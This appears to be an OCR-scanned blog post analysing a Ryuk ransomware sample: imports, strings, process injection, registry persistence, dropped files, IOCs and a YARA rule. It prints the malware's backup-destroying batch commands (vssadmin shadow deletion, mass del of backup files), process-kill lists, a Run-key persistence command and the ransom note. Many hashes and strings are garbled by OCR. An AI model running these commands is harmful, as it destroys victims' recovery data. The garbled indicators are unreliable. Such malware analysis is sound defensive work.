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Executive Summary

The malware is a form of ransomware identified as the Ryuk ransomware. When the ransomware is run it kills a
list of processes and drops readme files in several directories and encrypts most files. The readme contains
instructions on how to make a bitcoin payment in exchange for decrypting the machine’s files. There is a lot of file
system activity between dropping the readmes, encrypting files, and dropping a few files in C:/Users/Public
including an RSA public key, a unique id file, and a batch file. The malware reads and updates many registry keys,
the most noticeable being the key that adds the executable to the registry
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svhos, giving it persistence. To kill running processes,
the malware starts many instances of conhost.exe and netl.exe using the imported ShellExecuteA function. It does
not seem like the program employs anti-debugging however there is a point at which it tries to allocate memory
using the Virtual AllocEX function on a running process then tries to write into that memory using
WriteProcessMemory. If it selects x64dbg as the process to inject into it will kill the debugger. There did not seem
to be any attempted network connections. The dropped batch file will run repeatedly trying to delete any backups

on the infected computer.

Static Analysis

Virus Total

After performing some precursory static analysis, the ransomware was hashed and uploaded to VirusTotal. The
ransomware was run against many antivirus engines with 48 out of 60 recognizing it as malware and a few

correctly identifying it as the Ryuk malware.
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Basic Properties

MD5 8819d7f8049d35e71902025d801b44dd

SHA-1 5af393e60d1140193ad172a917508e%682918ab

SHA-256 98ecebbeafa2?6326654dbB862140520afc19cfalb4a76a5950deadb2618097ab
Vhash 015076655d155515555088z54hz31z

Authentihash 26578696205490c933d11224536d9c08873343b20d2e40bAf54afd3466739592
Imphash 3dB84250cdbe(08a9921b4H008881914b

Rich PE header hash  0419af1e713584cc28b658beect22601

SSDEEP 3072:b+hfiAOPNIMLAa17VnAySitZX DkIVT49ROQwoi4 AK/ImkaFyz7 Q0w

TLSH T13A047D4B72A032F8F173C A3985528556F7BABC7517609B5F03A4833A1F17991AE3?F20
File type Win32 EXE

Magic PE32+ executable for MS Windows (GUI) Mono/ Net assembly

Basic Static Analysis

PEStudio provides a detailed overview of the contents of portable executable files. The malware’s compiler stamp
is August 14th, 2018 which seems unlikely to have been modified because it is a relatively recent date, and it

would be odd to modify the compiler stamp but leave the path to the debug information in the strings.

compiler-stamp 0x5B72C112 (Tue Aug 14 07-46:26 2018)

subsystem GUI

PEStudio does not find a signature for this executable, normally this would give information about how it was

compiled or a signature for a packer.
signature
Strings and Imports

PEStudio reveals many interesting imports for this ransomware, including ShellExecute, LoadLibraryA, and
VirtualAllocEx. ShellExecute is used to execute an operation in a thread. LoadLibraryA may be used to import a

library that is not shown in the imports of the executable. VirtualAllocEx is often used in obfuscation techniques.
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Press enter or click to view image in full size

name ([95) group (10} type (1) ordanal (1) blachdist (28) anti-debug (0)  wndocumented (0)  deprecated (B)  hbrary (3)
SheliExecutel execution imglheit x shell32.dil
Shelifveciged Exacution implicit x ehell32.dil
Press enter or click to view image in full size
Loadiibrans eyramic-library mplicit keermiel 3.1l
Bedbledyl dynarmic-|ibrany emplicit ferriel 3241
GeiPrechddress yrarnec-librany mplicit kesrel 32,1l
Press enter or click to view image in full size
YirtwaltllocEs memery mplicit kernel32.dll
VirtualFresfx memery implicit kerned32.dll

The imports QueryPerformanceCounter and IsDebuggerPresent are sometimes used for anti-debugging.

Press enter or click to view image in full size

QuenPerdormancefounter system-information irmplicit kernel32.dll
LiBebuggerPresent system-infcrmaticn irmiplicit kernel32 dil

The strings section is extremely revealing of the purpose and identity of this ransomware. The name of the
malware, “Ryuk”, is found in the strings section multiple times, with one being in the debug symbols path and
another in a file name for some “RyukReadMe.txt”.

Press enter or click to view image in full size

ascii 4 0x00026C18

Press enter or click to view image in full size

Ch\Users\ Admin'Documents\Visual Studio 20015\Projects From Byuk\ConsoleApplication34\x64\Release\ConsoleApplication54.pdb

Press enter or click to view image in full size

unicode 14 O 0001ESDF fi ByukReadMe.txt
There are also some very long strings which are identified, the first of which is made up of random letters which

may be obfuscated somehow. The second long string contains several commands which can delete system backups
and backup files.

Press enter or click to view image in full size

grewp [12) value (2742)

OG0 AnTgeplePKdAcDauckPOTKYZOSAKBSRKLLhACKICE dulTFKibwdiz ...
wvizadmen Delete Shadcws /all fquiethirmasadmin resize thadowitonge Mfor=c fon= /m..,

type [2) size (intes] file- offpet Blacklist (300 hint (243]
ascii b D00 FiBED 5
il 1360 00T ETSE

There are number of strings that contain the word stop followed by the name of a process, suggesting the malware

probably tries to stop these processes if they are running. There is also a number of strings which start with “/IM”

followed by an executable, it is unclear as to what the malware is doing with these executables.

Press enter or click to view image in full size
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type (2) size (bytes) file- offset blacklist (30) hint (248) group (12} value (2742)

ascii 15 (00025E4D utility stop miefire /y

ascii 13 C:00025E02 utility stop KAVES fy

ascii 15 O 00025087 utility stop KAVFSGT Sy

ascii 16 0 00025D6C utility stop kpdsslp v

ascii 16 000025021 utility slop whenging fy

ascil 27 (x00025CD6 wtility top SQLAgent HPRESS fy
ascil 24 0x00025C28 utility stop MESQLSSOLEXPRESS /v
ascii 16 O 00025C40 utility stop kinagent fy

ascii 1 O 000258F5 utility stop AVP /y

Press enter or click to view image in full size

ascii 19 Ow00028644 utility [ n E
ascii 20 (00028672 utility /M CNTApSMgr.exe /F
ascii 19 w00028640 utility 1M PecMTMon.exe /F
a5gii 19 Ow0002860E utility /M trvlisten.exe /F
ascii 20 O 0002850C utility /IM xfssvecon exe /F
ascii 18 00028544 utility M wordpad.exe /F
ascii 18 00028578 utility {IM winword.exe /F
ascii 16 (00028546 utility {1 visio.exe /F

ascii 2 00028514 utility {IM thunderbird.exe /F
ascii 19 O 000284E2 utility /IM thebat6d exe /F

There is a registry key in the strings which suggests the malware will modify the HKCU CurrentVersion\Run

registry, which malware will use to achieve persistence.

fC REG ADD "HKEY CURRENT USERVSOFTWARE\Microsoft\Windows\CurrentVersion'\Run" /v "swchos" /t REG 52 /d *

A few other interesting strings are “No system is safe”, “BTC wallet:”, PUBLIC,
UNIQUE_ID_DO_NOT_REMOVE, and paths to a few different directories.

Press enter or click to view image in full size

ascii 17 O 0002TE2D Mo system is safe

Press enter or click to view image in full size

ascii 1 (00027848 BIC wallet:

Press enter or click to view image in full size

unicode 44 O 00D01EIBE tDocyments and Settingsh Default Userfinish
unicode 20 O 0001E3FD Yugery Publicyfinigh

unicode ] O DOOTESTF PLIBLIC

unicode 23 00001440 UNIQUE 1D DO NOT REMOVE

unicode 40 O 0OO1ESTY \Docyments and Settingsi Default Useri sy
unicode 7 0 DDOTESBA \wsers\Public\sys

unicode 37 O 000 EBLE: \Dgcyments and Sertings Defaul Usery
unicode L] O 0001EETF YwsersiPublich,

unicode n Ow0DOTEGAS keystorage?

unicode 4 O 000TEEBD 't

unicode 4 OnCOOEETS |

unicode ] OwDOOEESY Sragefd

Program Sections, Packing, and Obfuscation

Based on the entropy of the sections it seems unlikely that this program is packed, there is no section with an
entropy between 7 and 8. The program also has many revealing imports and strings meaning it is very unlikely
that the executable has been packed.
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Press enter or click to view image in full size
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The program sections of this executable are largely uninteresting.

Anti-Disassembly

Disassembly was done using Ghidra, no anti-disassembly techniques were encountered while analyzing this

ransomware.

Dynamic Analysis

Process Behaviors

Running the malware executable has no immediately visible behavior, however using process explorer it is
possible to see some interesting behavior. The malware exists as a process for some time creating many short-

lived instances of conhost.exe, net.exe, and netl.exe.

9.06 3764 K 20820 K
0.85 1,136 K JB44K
1.84 6.504 K 15,748 K
0.96 1124 K 3788 K
208 6896 K 1552 K
0.52 1.132K 356K
0.83 1120 K 3TB0 K
1.9 6.892K 15.756 K
047 1,100 K 336K
1.02 1136 K 3800 K
1.80 6,884 K 15,748 K
0.59 1,040 K 3988 K
0.86 1.132K 3788 K
1.85 6.912K 15,744 K
<0.01 B4 K BAK
0.57 1.132K 3.788K
0.72 6840 K 15,700 K
0.45 1,104 K JA2K
0.51 1,136 K 372K
0.68 6,500 K 15,736 K
0.41 1,092 K 3252 K

Analysis of this code in Ghidra shows that these sub-processes are being created by ShellExecuteA which is being

called on the list of processes and executables that were found in the strings during static analysis.
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lvoid execute_shells(void)

char *1pParameters;
longlong 1Varl;

lpParameters =

lVarl = Ox2c;
do {
ShellExecuteA( (HAND)Ox0, (LPCSTR)Ox0, "taskkill", lpParaneters, (LPt
lpParameters = lpParameters + Ox32;
lvarl = lVarl + -1;
} while (lvarl != 0);
lpParameters = stop "Acronis VSS Provider y 7ff6fedesabn;
lVarl = Oxb8;
do {
ShellExecuteA( (HAND)Ox0O, (LPCSTR)Ox0, "net”, lpParameters, (LPCSTR)

lpParameters = lpParameters + Ox4b;
lvarl = 1varl + -1;

} while (1lvarl != 0);

return;

A while after the malware has been executed the screen flashes black and a User Access Control (UAC) prompt is

displayed.

Press enter or click to view image in full size

e Aot G
Do you want to allow ths app to make
changes 1o your device?

B windens Command Processor

Wesrked Dathanan MACTDsN Wedkray

L — I —

Clicking “Show more details” reveals that this UAC prompt is for a batch file in C:\Users\Public, clicking no on

this prompt just causes it to prompt again.
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i Windows Command Processor

Verified publisher: Microsoft Windows

Program location: "CAWINDOWS\System32\cmd.exe” /C "C\users
\Public\window.bat"

Show information about the publisher’s certificate

Change when these notifications appear

Hide details

Around the same time as the UAC prompts show, most of the files on the system get encrypted and ReadMe files

get dropped. The ReadMe files contain a few of the strings found in static analysis: “BTC wallet:”, “Ryuk”, and
“No system is safe”.

Press enter or click to view image in full size

Page 7 of 15



https://Oxchina.medium.com/malware-reverse-engineering-31039450af27

1 RyukResdMe tat - Notepad - o x

File Edit Format View Help
Gentleman! a~

Your business is at serious risk.

There is a significant hole in the security system of your cospany.

He've easily penetrated your network.

You should thank the Lord for beimg hacked by serious people not some stupid schoolboys or dangerous punks.
They can damage all your impartant data just for fun.

How your files are crypted with the strongest millitary algorithas R5A4096 and AES-256.
Ho one can help you to restore files without our special decoder.

Photorec, Rannchlecryptor etc. repair tools
are useless and can destroy your files irreversibly.

If you wamt to restore your files wreite to emails (contacts are at the bottom of the sheet)
and attach 2-3 encrypted files

(Less than 5 Mb each, non-archived and wour files should not contain valuvable information
(Databases, backups, large excel sheets, etc.)).

You will receive decrypted samples and ocur conditions how to get the decoder.

Please don"t forget to weite the name of your company in the subject of your e-mail.

You have to pay for decryption in Bitcoins.
The final price depends on how fast you write to us.
Fuaeu daw nf dolav will roct wno additional .8 & ATC

L1, Cell 100%  Windews (CRLF) UTF-2

File Edit Fermad  Wiew Help

Artention! One sore time | ~

Do not rename enceypted files.
Do not try to décrypt your data using third party software.

P.5. Aemember, we are not scammers,

We don’t need your files and your information.

But after 2 weeks all your files and keys will be deleted automatically.
Just send a request imssediately after infection.

All data will be restored absolutely.

Your warranty - decrypted samples.

contact emails
leonardobrody@tutanota, com
or

ZanePaytongprotonmalil. com

BTC wallet:
17w 2euBRDXNAUFQLYE LauBgb0aaT 2 frFw

LAT TS

Ho system is safe

Lal, Cell 100%  Windews (CRLF) UTF-2

Network Activity

Analysis of network traffic was done using REMnux with the accept-all-ips script to redirect outgoing traffic and
wireshark to capture the traffic. No traffic related to the malware was logged, suggesting it does not attempt to

make any network connections.
Registry Activity

Using Process Monitor (ProcMon) it was possible to log the activity of running processes and identify malicious
behavior. There was a lot of registry activity that was caused by the malware, however, most of it did not seem to
serve an identifiable purpose. The most recognizable registry change is in the
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svhos registry, used to achieve persistence as suggested

by the static analysis.

Press enter or click to view image in full size
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Pah Fant Dt

HILM\SOFTYARE! rema i Storage Sewarma Datafietar At HAE HOT FOUMD Length: 16

mu\smwmw mn..—m.m-.m..u Whlecksers Srage Srpieea Clata Pt Presies_HAME HOT FOUND Largh 14

HILM\SOFTYARE" 5 Stersgn Sewarma Datalfiete Acsaste NAME BOT FOUND Length: 16

HILMLSOFTIARE: yininly I Storsgen Swams Dataiivter SUCCESS

HHLM \SOFTYARE" Meenc\Commard Procwssor' Aut=Fn HAME KO FOUND Length: 145

HICL Sk many Mereach Commar Precmmser' Atz Fun HAME NOT FOUMD Length: 148
nmmwmtmmwu.u—an SUCCESS Dimend icess Riead Wete, Discoston: REG_OPENED ENSTING SET

humw-m-.mnrmm-mmmhmnhm HAME KOT FOUMD Langth: 1,038
HIELM\SOFTYARE! NT'Cir st Fle Emnca i Dt snarchorctocedbost e, HAME NOT FOUMD Lorscth 1,008

HELM S many ' Mersact' irakmniflurtme: SUCCESE Dremresd Aeocens: lnad

HELMSOF TWARE Moot | Wrdkwalritme Actvat sdtleCasalkd SUCCESS Diwmred Accens: Road

HELM\SOFTYWARE® Artrma i FlaTioedss  SUCCESS Dienred Atcens: Rasd

HELW SOFTWARE Mecroacky W\-n:ml\:m-nknri.t-(‘.nﬂi %-M&nﬂma—x FieTypedas  SUCCESS Cusry; Bamc, ame: Fiba'
HELM\SOF TWARE Artme' A v e Tieedm . SUCCESS Tyew: REG_DWORD. Lerg® 4, Data: |
HELMSOFTWARE Meronch'y M-&ml\.rm-&mlhﬁnh Mireiows intemal SeateRncentery FleTpelan . SUCCESS Tyea: REG_SZ. Longth: 30, Dlata: StateFlepoatory

HHLH\S&'IWAREJ-Em:E W\-ﬁml\n.n-):hi.h(‘.ml! Mwﬂbﬂmm'lmh IIMEMR}LNDL::@ 148

The value of this registry is set to the location of the malware executable, this registry contains processes for

windows to run at startup.

Press enter or click to view image in full size

[N Reginry Editor - o w
Fde Ed#t View Faeoites Help
Computer\HEEY_CURRENT USER Software Microsoft\Windows\CurrentVersmn R un
» | InstaliService || Hame Type Data
» L4 Ieternet Settings a5 [Default) REGSZ {uabue ot set)
& :.::: Fereen 5] Onelirive REG 5T “CAUsersimatware’t pplatat Lecal Microsoft, One...
» || Moty lgvehes REG_5Z Colsersvmabrard Detbteg\PracticalLene

» | Metifizations

» PenWorkspace
Policies
PrecisionTouchPad
Prelawnch
Privacy
PushNotdications
RADAR
Fun
FunOnce

» Sereensivens

¥ Search
Security and Muntenance
SetlingSync

» | Shell Extenions

3 Signaltdanager
SenariGlass
StartLayout
Startuphstify

w

Early in the execution of the malware it sets these keys in the Internet Settings ZoneMap registry, it is unclear as

to why because there did not seem to be any network activity. These are the default settings for these registries.

Press enter or click to view image in full size

Fédd | W Practcallens 5265 @ Fsg SetVaue HEC LI Seftwane ' icrosoft ' Windaws \Curment Versor \Infemet. Settings''Zone Map \ProxyBypass SLOCESS Type: REG_DWORD. Langth- 4. Data: 1
Gidd,, Fhacscaless 5268 @PegSetvalue HIMC U Sotmare \Microaolt ' Wirders \Cumsnt Versior ntemet Setings' Zone Map rtranet lame SUCCESS Type: REG_DVWORD, Length- 4, Data: 1
G444, WPaccalon 5285 EPeg SetVihue HRELI Gt e Mcrnoft Wiy \Curment Verpor Untemiet. Settngs’ Zone Map | LINC As intranst SUCCESS Tipe FEGJJH‘OHD Length 4, Dta: 1
G4dd W Practicald exe 5248 ‘_Flaqget\l'd.ne MR LI Softwane icrosoft \Windows \Curment Version'Infemet. Settings' Zone Map ' AutoDetect SUCCESS Type: REG_DWORD, Langth- 4, Data: 0

The remaining registry activity seems to be mostly noise and not much directly malicious activity.

Filesystem Activity and Deeper Analysis

There was a lot of filesystem activity that was performed by the malware. The most noticeable was the creation of
the ReadMe files that get dropped in directories where encryption occurred. This action was logged in ProcMon,

and interestingly is not performed by the original malware process itself.

Press enter or click to view image in full size
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i B 30 Objects

Press enter or click to view image in full size

@ rusuc- ¢

File Edd Format View Help

{0 # RSAL O 0 cED T Orke"-0!us2DlB0C)ADSDOSE 4 D02 1923, A000" , tpsaqul? jEIS=; 101 1HVITIES J0: MINOA O miql, xoc " DE 4

Stpf-9E3, Y e wiDF)IXPD_3-2 Daikky

BOMAREKOIWS~B0R0EE 3w ~POL2 }4* Ad"IVCpD- G101 - XBzcug 2T
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£7 Process Monitor - Sysinternals: wwawv.sysinternals.com = O X
File Edit Event Filter Tools Options Help
FH RABE /A D/ AF HXBATH
Time of Day  Process Name PID Operation Path ~
9:19:12.18742... B shost.exe 4256 EhCreateFile C:\Program Data'\Package Cache'\Ryuk ReadMe txt
9:19:12.18758... W shost exe 4256 ShCreatefile C:\Program Data\Ryuk ReadMe bd
9:19;12.18766... 'W- gihost.exe 4256 [FhCloseFie C:\Program Data\Ryuk ReadMe bd
9:19:12.187%1... - shost exe 4256 [ShCreatefile C:\Program Data'\Packages'\Ryuk ReadMe txt
9:19:12.18808... W- sihost exe 4256 EACreatefile C:\Program Data’\Ryuk ReadMe bt
9:19:12.18815... - shost.exe 4256 [EhCloseFile C:\ProgramData\Ryuk ReadMe bt
9:19.12.18845... W sihost exe 4256 aCmueFle C:\ProgramData‘regid. 1991-06.com microsoft\Ryuk ReadMe bd
9:19:12.18859... |- sihost exe 4256 [BhCreateFie C:\Program Data\Ryuk ReadMe txt
9:19:12.18866... - gihosi exe 4256 =hClosefie C:\Program Data\Ryuk ReadMe bd
9:19:12.18903... F- sihost exe 4256 [FhCreatefile C:\Program Data\Software Distibution' Ryuk ReadMe ba
9:19:12.18913_.. 'W- sihost exe 4256 EBhCreateFile C:\Program Data\Ryuk ReadMe bd
9:19:12.18918... W sihost exe 4256 [EhCloseFie C:\Program Data\Ryuk ReadMe bd
9:19:12.19115... W sihost exe 4256 [EhCreatefia C:\ProgramData'\ssh"Ryuk ReadMe bd
9:19:12.19130... W sihost exe 4256 FhCrestefle C:\Program Data'\Ryuk ReadMe bd
9:19:12.19138... W shosi.exe 4256 [EhCloseHe C:\Program Data\Ryuk ReadMe bd
9:19:12.19173... & ghost exe 4256 PhCreatefile C:\Program Data\Microsoft \Windows ' Start Menu'\Ryuk Readhe txt
9:19:12.19185... 'B- sihast exe 4256 A CreateFie C\Program Data\Micrasoft \Windows\Start Menu'\Ryuk Read Me bt
9:19;12.19198... 'W- sihost.exe 4256 [FhCreateFile C:\Program Data\Ryuk ReadMe bd
9:15:12.15203... W sihost exe 4256 [ZhClosefie C:\Program Diata\Ryuk ReadMe bd bd
< >
Showing 121,200 of 11,635,727 events (1.0%) Backed by virtual memory
The malware also drops four files besides the ReadMe in the C:/Users/Public directory, “Public”,
“UNIQUE_ID_DO_NOT_REMOVE”, “sys”, and “window.bat”.
Press enter or click to view image in full size
| @ M=l Manage Public
Home Share WView Application Tools
« L » ThisPC » Local Disk (C:) » Users » Public
.1 Name A Date modified Type Size
# Quick access
B Desktop + Libralries _ 47872021 :t—.si PM  Filefalder
Public Account Pictures 4872021 10:57 PM File folder
. ‘l' Sosinioads: # Public Desktop 12/3/202011:55 AM  File folder
| ] Documents Public Documents 4/8/202110:56PM  Fille folder
i &= Pictures * Public Downloads 4/8/202110:5TPM  File folder
! % AppCrash_AARA, Public Music 47872021 10:57 PM File folder
1 Packages . Public Pictures 4/8/2021 10:57 FM File folder
; System32 Public Videos 4/8/202110:57 PM  File folder
i N | ] puBLIC 4/8/202111:23PM  File 1KB
| volatility-master v |
=] RyukReadMe.txt A/8/2021 10:57 PM Text Document 3KB
@ OneDrive [ sys 4/8/2021 10:56 PM  File 0KB
[ ] UNIQUE_ID_DO_NOT_REMOVE 4/8/2021 11:23 PM Fil 2KB
! B This PC L] UNQUED.DO_HOL = _
[] window.bat 4/8/202111:23 PM Windows Batch File 2KB

C-i{Cia) DaTdr-5484, -EE9zeIVoU1dinZ
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The sys file is empty, and its purpose is unknown. The Public file, by name and contents, is likely an RSA public

key used for decryption.
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The UNIQUE_ID file name suggests that it may also be used in the decryption process, and its contents are very
unreadable, though interestingly it starts with the same characters as the PUBLIC file. The file also has angle
brackets, parenthesis, curly braces, and square brackets that appear to have not been ecnrypted, giving it a

structure that seems like it could be html with script tags or php.

Press enter or click to view image in full size

) UNIGUE 19 00_NOT_REMKVE - Notepad = o x

File Edit Format Yiew Help

1 om ooahepon ¥1ESES1c s« Tom ARl 15780, 00¢_c (EAsM2.-(EZY, 3 0-A0K p -DlmpOastEr i ior a6y A€ S NS - Bx

L€3; 1% 2HT) *ToliGA 0] ig6U1wiiHeATaT oAl Co™ 588K - 1AR—4"00%. JutAT10s UlidikC -e£CnAbigl> 91 FABU~ 1 20pgn Tulat

B350 Mc (10" (ied X TE2VE L btasbdt B ™ "9y A U ( L0A

42400 *A]. <5650 DEOMVIAx 0 Rl (\ seliid-fri

a*leple]y. D6X{er2n @ xmsd M LR 2 vt IR0 ZRE a0 =IEF b1 - 08 "HA 14 $000-u bt " teyana™oa) ¢ {13AD Ely 6<tiuli3s” fimad pea®]]é $0.o5;45 0 - Gl
~I0TEH] R w8 ] " oln 06D BATCAR @EL"E  *e0nmBweppel Qugd{bkildra’L FEE ;{aMD Lo DHAFCFS Rodxip IV DOULE_T/0PDE “Jay10-00

bpl W ® PeAaEc: DAefesi2! 0" a) BWEKOZIPAT DI1et0 N uic_ dApADS-~UTE EEBYIXKecVBallo . I IF LY . Ik _" twF -0 /Dkgr-BVell Bz 8" §id, fozé(Uacip

The window.bat file is hard to catch because it does not exist for long. However, the contents of the batch are the
same as one of the long strings found in static analysis. The batch file is what is running to find and delete

backups, which generates a lot of file activity.
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vssadain Delete Shadows /all /quiet

vssadmin resize shadowstorage Sffor=c: fon=c@ fmaxsize-d01MB
vesadmin resize shadewstorage /for=c: fone=c: fmaxsize-unbounded
vitadmin resize shadowitorage /for=d: Jon=d: fmaxsiize-491MB
vssadein resize shadewstorage /fored: foned: [maxsizesunbounded
vssadein resize shadowstorage /for=e: fon=e: /maxsize=d@1M3
vssadein resize shadowstorage ffor=e: fon=e: /maxsize=unbounded
visadain resize shadowstorage ffor=f: Jon=f: fmaxsize-d01M8
vesadmin resize shadowstorage /for=f: Jfon=f: fmaxsizes-unbounded
vasadmin resize shadowstorage /for=g: fon=g: /maxsize=4@1MB
vssadnin resize shadowstorage ffor=g: fon=g: fmaxsize=unbounded
vssadein resize shadowstorage Sffors=h: fons=h: /maxsize=d01M8
vssadein resize shadowstorage ffor=h: fon=h: fmaxsize-unbounded
vesadain Delete Shadows /all fquiet

del /5 ff fg c:\".VHD c:\".bac ¢:\".bak c:\".wbcat c:\".bkf c:\Backup®™.™ c:\backup®.™ ¢:\®.set ci\".win c:\™.dsk
del Jfs ff fg d:\" VHD d:\".bac d:\"_.bak d:\".wbcat d:\*.bkf d:\Backup®.*® d:backup®." Ldsk
del /5 /f /g e:\".VHD e:\".bac e:\*.bak e:\".wbcat e:\*.bkf e:\Backup®.* e:r\backup®.* .dsk
del /s ff fq £:0 VD £:\*.bac F:\".bak f:\*.wbcat f:\*.bkf f:\Backup®.* f:\backup*.” .dsk
del /s ff fq g:i\~.VHD g:i*.bac g:\~.bak g:\*.wbcat g:\*.bkf g:\Backup™.® g:\backup®.™ % dsk
del fs ff fq ke .VHD h:y™.bac h:\=.bak h:\".wbcat h:\*.bkf h:\Backup®.™ h:\backup*.* widn b= dsk

del %8

Getting the contents of these files was difficult because windows blocks copying files that are being used by
processes and attempting to delete them was blocked by a prompt saying the file was in use. Using Resource
Monitor it was possible to find what process was using the files. The Public file is an RSA key so it seems likely

that whatever process was using it was doing the encryption. Resource Monitor identified which process was
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using the file and attempting to end that process would just result in a new process using the file. The processes

that were using it were normal processes, which suggested that the malware injected code into these processes.
Press enter or click to view image in full size
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Using Ghidra to find the VirtualAllocEX function it was not difficult to find where this injection was occurring.
By setting a breakpoint on the allocate call it was possible to stop before the malware injected and see which
process it was going to inject into. After allocating memory in the process, it called WriteProcessMemory to write

the malicious code.

Press enter or click to view image in full size

nirwen  #res  hitwds 1)t

Detn =

Page 12 of 15



https://Oxchina.medium.com/malware-reverse-engineering-31039450af27

Because I could identify which process was going to be injected, I attached an instance of x64dbg to that process
to see what got written. Looking at the memory map and sorting by protection, there was a section of the process

memory which had ERW permissions which is usually suspicious.
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Looking at the strings section for this memory section reveals that it is in fact the injected code. Dumping this
memory section is possible and can allow for further analysis though I was unable to locate the encryption

method.
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Anti-Debugging and Anti-Virtual-Machine

There are several functions imported that could be used for anti-debugging however, none of them seemed to be
used to do so. The main issues with debugging is that when the malware tries to inject into processes it will
sometimes choose x64dbg as a process to inject into and when it fails it will kill the program. Another potentially
unintentional barrier to debugging is that when attaching to the processes it injects into it will hit a debugging

breakpoint which causes the process to end, it seems that this is normal behavior of the particular proceses.

Get Hamad Alnakal’s stories in your inbox

Join Medium for free to get updates from this writer.
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Remember me for faster sign in
No Anti-Virutal-Machine techniques were found when analyzing this ransomware with Ghidra and x64dbg.

Indicators of Compromise

Host Based:

MD?5 8819d7f8069d35e71902025d801b44dd
SHA-1 5af393e60df1140193ad172a917508e9682918ab
SHA-256 98ece6bbcafa296326654db862140520afc19cfaOb4a76a5950deedb2618097ab

Existence of this registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svhos

Set to the path of the malware executable.

Existence of these files:
C:/Users/Public/sys C:/Users/Public/PUBLIC
C:/Users/Public/UNIQUE_ID_DO_NOT_REMOVE C:/Users/Public/window.bat

Network Based:

No network-based indicators identified.

YARA Rule:

rule Ryuk
{

meta:

file_md>5 = “8819d7f8069d35e71902025d801b44dd”

file_shal = “5af393e60df1140193ad172a917508e9682918ab”

file_sha256 =

“98ecebbcafa296326654db862140520afc19cfaOb4a76a5950deedb2618097ab” author = “N\A”
compilation date = “08/14/2018”

strings:

$name = “ryuk” ascii wide nocase
$debug = “C:\Users\Admin\Documents\Visual Studio 2015\Projects From
Ryuk\ConsoleApplication54\x64\Release\ConsoleApplication54.pdb™ ascii wide nocase

Condition:
$name and $debug
}
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